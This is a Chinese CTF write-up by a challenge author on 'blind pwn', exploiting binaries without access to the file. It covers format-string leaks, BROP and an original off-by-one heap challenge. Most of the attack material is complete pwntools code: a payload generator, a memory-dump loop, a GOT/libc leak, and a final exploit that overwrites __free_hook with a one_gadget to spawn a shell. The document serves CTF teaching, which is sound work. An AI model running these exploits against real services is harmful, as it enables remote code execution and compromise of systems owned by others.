blind-pwn总结+创新

前言

blind-pwn是一种黑盒pwn的模式,也就是比赛的时候不给你提供二进制文件,让你实现dump文件或者不dump文件泄露部分信息的目的...

其实16年就已经有比较多的blind-pwn的赛题以及文章分析了,作为第二届安洵杯出题人,发现blind-pwn没有什么合适的堆区利用黑盒pwn,所以在这个基础上做一个总结以及创新.

所有代码/文件都会标注出文件名,同时附件里面也有对于每道题更加详细的wp,附件下载即可

fmt32

目录为fmt32

格式化字符串漏洞,是最经典的blind pwn.它通过格式化字符串漏洞,泄露内存中的地址.

这里有两种做法,有的做法具有局限性,有的是通用的,但是很耗时间

第一种做法:

  • 测试程序正常功能
  • 找到格式化字符串漏洞
  • 确定偏移--offset-step1.py
  • dump文件--dump-step2.py,pwn1bin
  • 利用got表地址,泄露出libc
  • getshell--bin.exp.py

在确定偏移的过程中,需要小心一个问题

就是计算偏移的时候,存在一个问题就是,我们要保证偏移量足够,就一定要前面增加一个字节的垃圾数据

dump下来的程序是没法运行(没有SHT,dump下来的时候是通过EOF来进行判断结尾的,但是SHT的偏移是0x18dc但是程序运行的时候,是不会把这些数据载入到地址上的)

丢进ida中,还是可以直接当成一个二进制文件进行分析的,而64位不可...后面会有64位的打开方法

第二种做法:--dyn.exp.py

思路不变,但是不dump程序,用dynelf机制进行泄露system地址,getshell

这里有个局限性就是,需要能够有不断开连接,循环泄露内存的条件,但是其实在黑盒pwn的实战中,一般都是存在断开连接,地址复用(一些主流web框架会有),所以利用DYNELF并不常用,但是针对于这道题目来说,确实最合适,最快的解题方案

核心代码如下

def leak(addr):
    result = ''
    while(len(result)< 4):
       sh.sendafter('Please tell me:', '%16$s#\n\0'.ljust(0x21, '\0') +p32(addr + len(result)) + '\0')
        sh.recvuntil('Repeater:')
        result +=sh.recvuntil('#\n', drop=True) + '\0'
   log.info(hex(addr) + ' => ' + hex(u32(result[:4])))
    return result[:4]

libc = DynELF(leak, 0x8048000)
libc_addr = u32(leak(0x804a010)) -  0xd4350
log.success('libc_addr: ' + hex(libc_addr))

system_addr = libc.lookup('system', 'libc')
log.success('system_addr: ' + hex(system_addr))

fmt64

目录为fmt64

64位其实和32位的区别并不大,思路也是同样的

  • 测试程序正常功能
  • 找到格式化字符串漏洞
  • 确定偏移--offset-step1.py
  • dump文件--64dump.py,stilltestbin
  • 利用got表地址,泄露出libc
  • getshell--64bin.exp.py

第一个问题,dump下来的文件ida是无法直接分析

载入的时候需要设置一下...

同时第二个问题需要注意的是

64位的格式化字符串,是无法避免出现\x00的情况的,scanf,printf都默认认为\x00是字符串结尾,所以这里我根据pwntools的源码,进行了修改,自创了一个函数,用来反序覆盖地址

def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
    config = {
        32 : {
            'byte': (4, 1, 0xFF, 'hh', 8),
            'short': (2, 2, 0xFFFF, 'h', 16),
            'int': (1, 4, 0xFFFFFFFF, '', 32)},
        64 : {
            'byte': (8, 1, 0xFF, 'hh', 8),
            'short': (4, 2, 0xFFFF, 'h', 16),
            'int': (2, 4, 0xFFFFFFFF, '', 32)
        }
    }

    if write_size not in ['byte', 'short', 'int']:
        log.error("write_size must be 'byte', 'short' or 'int'")

    number, step, mask, formatz, decalage = config[context.bits][write_size]

    payload = ""

    payload_last = ""
    for where,what in writes.items():
        for i in range(0,number*step,step):
            payload_last += pack(where+i)

    fmtCount = 0
    payload_forward = ""

    key_toadd = []
    key_offset_fmtCount = []


    for where,what in writes.items():
        for i in range(0,number):
            current = what & mask
            if numbwritten & mask <= current:
                to_add = current - (numbwritten & mask)
            else:
                to_add = (current | (mask+1)) - (numbwritten & mask)

            if to_add != 0:
                key_toadd.append(to_add)
                payload_forward += "%{}c".format(to_add)
            else:
                key_toadd.append(to_add)
            payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
            key_offset_fmtCount.append(offset + fmtCount)
            #key_formatz.append(formatz)

            numbwritten += to_add
            what >>= decalage
            fmtCount += 1


    len1 = len(payload_forward)

    key_temp = []
    for i in range(len(key_offset_fmtCount)):
        key_temp.append(key_offset_fmtCount[i])

    x_add = 0
    y_add = 0
    while True:

        x_add = len1 / 8 + 1
        y_add = 8 - (len1 % 8)

        for i in range(len(key_temp)):
            key_temp[i] = key_offset_fmtCount[i] + x_add

        payload_temp = ""
        for i in range(0,number):
            if key_toadd[i] != 0:
                payload_temp += "%{}c".format(key_toadd[i])
            payload_temp += "%{}${}n".format(key_temp[i], formatz)

        len2 = len(payload_temp)

        xchange = y_add - (len2 - len1)
        if xchange >= 0:
            payload = payload_temp + xchange*'a' + payload_last
            return payload;
        else:
            len1 = len2

这样子,大家比赛的时候,遇到64位的格式化字符串就可以轻松的,调用函数,直接一键生成payload了...嘿嘿

brop

文件目录为brop

brop是利用rop不断循环的爆破出地址,条件就是要求可以不停的重连,这个比较常见,但是如果说搭建pwn题环境的时候,就需要配置一下系统设置

brop这类题目,不是特别适合在比赛中,因为特别浪费时间,适合为在实战中路由器的黑盒拿到路由器终端作为一种新的思路

思路主要是这样子

  • 暴力破解-获取偏移--stack_overflow_length.py
  • 获取stop_gadget--main函数地址--stop_gadget.py
  • 获取brop_gadget--libc_csu_init--brop_gadget.py
  • 获取puts_plt--puts_plt.py
  • dump文件--leak_dump.py,code
  • getshell--exp.py

那么在这个过程一定要记住一个核心的东西,就是爆破的过程中,容易出现某些地址符合条件,但是却不符合其它条件的情况,所以该题比较浪费时间

举个例子:

这里会发现一个问题,我们的puts_plt = 0x400635 在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际查看dump下来的文件的时候,我们会发现这个

很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的

创新题-堆区利用offbyone-blindpwn

文件目录为offbyone

发现网上没有这一类的题目,所以自创了一道,也算是抛砖引玉,并且安洵杯决赛打的效果还比较好,希望,自己能再研究出一些新blindpwn题

题目分析

首先测试程序的基本功能,分析结构,尝试dump内存

首先是要了解过off by one这种漏洞原理,我们发现,读取字符串的函数是scanf

我们要知道scanf的问题是什么?是它会在输入的字符串最后加\x00,所以在这里,我们出现了单字节溢出的问题

盲打小贴士:

为什么读取字符串的函数是scanf,通过,测试,输入特殊符号,不会显示,直接中断,所以是scanf

然后发现输入并没有限制长度...所以这里,可以利用上这种漏洞

利用这个漏洞,泄露出内存

泄露内存的时候,测试是否开启了空间地址随机化,然后发现没有,如果有的话,那就使用mmap申请大内存空间的解法...

echo 1 > /proc/sys/kernel/randomize_va_space 代表pie部分开启(heap基地址不会开启pie),所以可以基于heap base addr泄露出程序的基地址

泄露出内存,dump出文件

找到一个got表地址,泄露出libc基地址

然后考虑使用one_gadget去覆盖free_hook或者malloc_hook

dump脚本编写

如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开

通过单字节溢出,以及精心伪造一个堆chunk结构,实现任意地址泄露内存

偏移量这里解释一下,由于一个chunk头部都会有0x10个字节用来存放pre_size和size,所以偏移量是0x1000-0x10

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

#context.log_level = 'debug'#critical/debug
p = process("./buy")
f = open("buybin", "ab+")
#f = open("64weiba", "ab+")

def writename(name):
    io.recvuntil("(1~32):")
    io.sendline(name)

def namechange(name):
    io.recvuntil("Your choice:")
    io.sendline("6")
    io.recvuntil("(1~32):")
    io.sendline(name)

def add(name_size,name,des_size,des):
    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil(".")
    io.sendline(str(name_size))
    io.recvuntil(".")
    io.sendline(name)
    io.recvuntil(".")
    io.sendline(str(des_size))
    io.recvuntil(".")
    io.sendline(des)

def displayall():
    io.recvuntil("Your choice:")
    io.sendline("3")
    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil(32*"a")
    #io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
    book1_addr = io.recvuntil("\'s",drop=True)
    book1_addr = book1_addr.ljust(8,'\x00')
    book1_addr = u64(book1_addr)
    #print hex(book1_addr)
    io.recvuntil("des address is ")

    return book1_addr

def change(index,name,desrcript):
    io.recvuntil("Your choice:")
    io.sendline("2")
    io.recvuntil("index is ")
    io.sendline(str(index))
    io.recvuntil("y's name.\n")
    io.sendline(name)
    io.recvuntil("y's desrcription.")
    io.sendline(desrcript)

def displayall_getdump(index):
    io.recvuntil("Your choice:")
    io.sendline("2")
    io.recvuntil("index is ")
    io.sendline(str(index))
    io.recvuntil("name is ")
    addr = io.recvuntil("\n",drop=True)
    #addr = addr.ljust(8,'\x00')
    #addr = u64(addr)
    return addr


begin = 0x400000
offset = 0
i=0

while True:#i<13:#True:#
    addr = begin + offset   

    try:
        io = process("./buy")
        #get the first heap address
        writename("a"*32)
        add(4200,"spring",12,"aaa")
        first_heap_addr = displayall()
        print '[*] first_heap_addr is ' + hex(first_heap_addr) 
        #first_heap_addr = 0x605040
        '''
        int name_size;
        char *name;
        int des_size;
        char *desrcript;    
        '''
        #get dump test
        displayall()
        #first heap pre_size size 0x10
        ljust_offset = 4096 - 16
        print '[*] ljust_offset is ' + hex(ljust_offset)
        payload_des_dump = ljust_offset *'c' + p64(12) + p64(addr) + p64(12) + p64(addr)
        #payload_des_dump = 0xfff * 'c'
        #pause()
        change(0,"spring",payload_des_dump)
        namechange("a"*32)
        #gdb.attach(io)
        info = displayall_getdump(0)
        print '[*] info is ' + info
        io.close()

    except EOFError:
        print "offset is " + hex(offset)
        break
    if len(info)==0:
        print "info is null"
        offset += 1
        f.write('\x00')
    else:
        info += "\x00"
        offset += len(info)
        f.write(info)
        f.flush()
    i = i + 1
    print "offset is " + str(offset)
f.close()
p.close()
#'''

dump出来的程序,需要找到一个函数的got表地址就行了,这样就可以计算出对应的一个偏移

泄露出来的文件还是不可以被反汇编,但是可以找到很多汇编代码

然后通过去寻找一个函数的plt地址,最好是找puts或者printf,因为题目显示字符串一直在用这两个函数,所以这两个函数使用次数最多,所以肯定比较好分辨

找到puts_got

泄露libc

其实和之前的代码一样,主要的任务就是,但是地址覆盖写在puts_got的地址

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "buy"
libcFileName = ""
ip = ""
port = 0

Debug = 1
if Debug:
    io = process(elfFileName)
else:
    io = remote(ip,port)
#elf = ELF(elfFileName)
def writename(name):
    io.recvuntil("(1~32):")
    io.sendline(name)

def namechange(name):
    io.recvuntil("Your choice:")
    io.sendline("6")
    io.recvuntil("(1~32):")
    io.sendline(name)

def add(name_size,name,des_size,des):
    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil(".")
    io.sendline(str(name_size))
    io.recvuntil(".")
    io.sendline(name)
    io.recvuntil(".")
    io.sendline(str(des_size))
    io.recvuntil(".")
    io.sendline(des)

def displayall():
    io.recvuntil("Your choice:")
    io.sendline("3")
    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil(32*"a")
    #io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
    book1_addr = io.recvuntil("\'s",drop=True)
    book1_addr = book1_addr.ljust(8,'\x00')
    book1_addr = u64(book1_addr)
    #print hex(book1_addr)
    #io.recvuntil("des address is ")

    return book1_addr

def change(index,name,desrcript):
    io.recvuntil("Your choice:")
    io.sendline("2")
    io.recvuntil("index is ")
    io.sendline(str(index))
    io.recvuntil("y's name.\n")
    io.sendline(name)
    io.recvuntil("y's desrcription.")
    io.sendline(desrcript)

def displayall_getdump():
    io.recvuntil("Your choice:")
    io.sendline("3")
    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil("name is ")
    addr = io.recvuntil("\n",drop=True)
    addr = addr.ljust(8,'\x00')
    addr = u64(addr)
    #io.recvuntil("des address is ")
    return addr

def make_empty(index):
    io.recvuntil("Your choice:")
    io.sendline("5")
    io.recvuntil("Your choice:")
    io.sendline("2")
    io.recvuntil("The index is ")
    io.sendline(str(index))


#get the first heap address
writename("a"*32)
add(4200,"spring",12,"aaa")
add(16,"hello",16,"hello")
first_heap_addr = displayall()
print '[*] first_heap_addr is ' + hex(first_heap_addr) 
#first_heap_addr = 0x605040
'''
int name_size;
char *name;
int des_size;
char *desrcript;    
'''
#get dump test
displayall()
#first heap pre_size size 0x10
offset = 4096 - 16
print '[*] offset is ' + hex(offset)

puts_got = 0x603028
printf_got = 0x603040


payload_got_get = offset *'c' + p64(20) + p64(puts_got) + p64(20) + p64(first_heap_addr+0x78)
#payload_des_dump = 0xfff * 'c'
#pause()
change(0,"spring",payload_got_get)
namechange("a"*32)
#gdb.attach(io)
puts_addr = displayall_getdump()
print '[*] puts_addr is ' + hex(puts_addr)

#find libc
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
freehook_addr = libc_base + libc.dump('__free_hook')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print '[*] freehook_addr is ' + hex(freehook_addr)
print '[*] system_addr is ' + hex(system_addr)
print '[*] binsh_addr is ' + hex(binsh_addr)

one_gadget = libc_base + 0x4526a
print '[*] one_gadget is ' + hex(one_gadget)

change(0,p64(puts_addr),p64(freehook_addr))
change(1,p64(system_addr),p64(system_addr))

make_empty(1)

io.interactive()

那么这里,其实我已经给出是错误的exp,但是在测试过程中,可以把one_gadget改成system_addr,这样子,只要能够出现sh报错,就能知道可以选择哪个libc库

我这里是[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.

获取one_gadget

安装one_gadget

su root
apt-get install ruby
apt-get install gem
gem install one_gadget

获取libc库的onegadget

找到libcsearch的安装文件夹,找到对应id的libc库

然后执行,命令

one_gadget libc6_2.23-0ubuntu10_amd64.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

上面4个,第二个成功了...

exp

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "buy"
libcFileName = ""
ip = ""
port = 0

Debug = 1
if Debug:
    io = process(elfFileName)
else:
    io = remote(ip,port)
#elf = ELF(elfFileName)
def writename(name):
    io.recvuntil("(1~32):")
    io.sendline(name)

def namechange(name):
    io.recvuntil("Your choice:")
    io.sendline("6")
    io.recvuntil("(1~32):")
    io.sendline(name)

def add(name_size,name,des_size,des):
    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil(".")
    io.sendline(str(name_size))
    io.recvuntil(".")
    io.sendline(name)
    io.recvuntil(".")
    io.sendline(str(des_size))
    io.recvuntil(".")
    io.sendline(des)

def displayall():
    io.recvuntil("Your choice:")
    io.sendline("3")
    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil(32*"a")
    #io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
    book1_addr = io.recvuntil("\'s",drop=True)
    book1_addr = book1_addr.ljust(8,'\x00')
    book1_addr = u64(book1_addr)
    #print hex(book1_addr)
    #io.recvuntil("des address is ")

    return book1_addr

def change(index,name,desrcript):
    io.recvuntil("Your choice:")
    io.sendline("2")
    io.recvuntil("index is ")
    io.sendline(str(index))
    io.recvuntil("y's name.\n")
    io.sendline(name)
    io.recvuntil("y's desrcription.")
    io.sendline(desrcript)

def displayall_getdump():
    io.recvuntil("Your choice:")
    io.sendline("3")
    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil("name is ")
    addr = io.recvuntil("\n",drop=True)
    addr = addr.ljust(8,'\x00')
    addr = u64(addr)
    #io.recvuntil("des address is ")
    return addr

def make_empty(index):
    io.recvuntil("Your choice:")
    io.sendline("5")
    io.recvuntil("Your choice:")
    io.sendline("2")
    io.recvuntil("The index is ")
    io.sendline(str(index))


#get the first heap address
writename("a"*32)
add(4200,"spring",12,"aaa")
add(16,"hello",16,"hello")
first_heap_addr = displayall()
print '[*] first_heap_addr is ' + hex(first_heap_addr) 
#first_heap_addr = 0x605040
'''
int name_size;
char *name;
int des_size;
char *desrcript;    
'''
#get dump test
displayall()
#first heap pre_size size 0x10
offset = 4096 - 16
print '[*] offset is ' + hex(offset)

puts_got = 0x603028
printf_got = 0x603040


payload_got_get = offset *'c' + p64(20) + p64(puts_got) + p64(20) + p64(first_heap_addr+0x78)
#payload_des_dump = 0xfff * 'c'
#pause()
change(0,"spring",payload_got_get)
namechange("a"*32)
#gdb.attach(io)
puts_addr = displayall_getdump()
print '[*] puts_addr is ' + hex(puts_addr)

#find libc
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
freehook_addr = libc_base + libc.dump('__free_hook')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print '[*] freehook_addr is ' + hex(freehook_addr)
print '[*] system_addr is ' + hex(system_addr)
print '[*] binsh_addr is ' + hex(binsh_addr)
''' onegadget
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
one_gadget = libc_base + 0x4526a
print '[*] one_gadget is ' + hex(one_gadget)

change(0,p64(puts_addr),p64(freehook_addr))
change(1,p64(one_gadget),p64(system_addr))

make_empty(1)

io.interactive()

总结

blind pwn的核心是实现泄露内存,从而dump出整个文件

而漏洞可利用在blind pwn上的条件为:

  • brop: 必须的地址复用,栈区溢出,read函数
  • fmt: 格式化字符串漏洞,read函数
  • offbyone: 堆区可控大小,单字节溢出,read函数,变量的结构(结构体和全局变量)

很开心能够通过自创,将blindpwn整理为一个系列,相信未来还有出现更多这类赛题

附件.rar (0.159 MB) 下载附件
点击收藏 | 0 关注 | 1
登录 后跟帖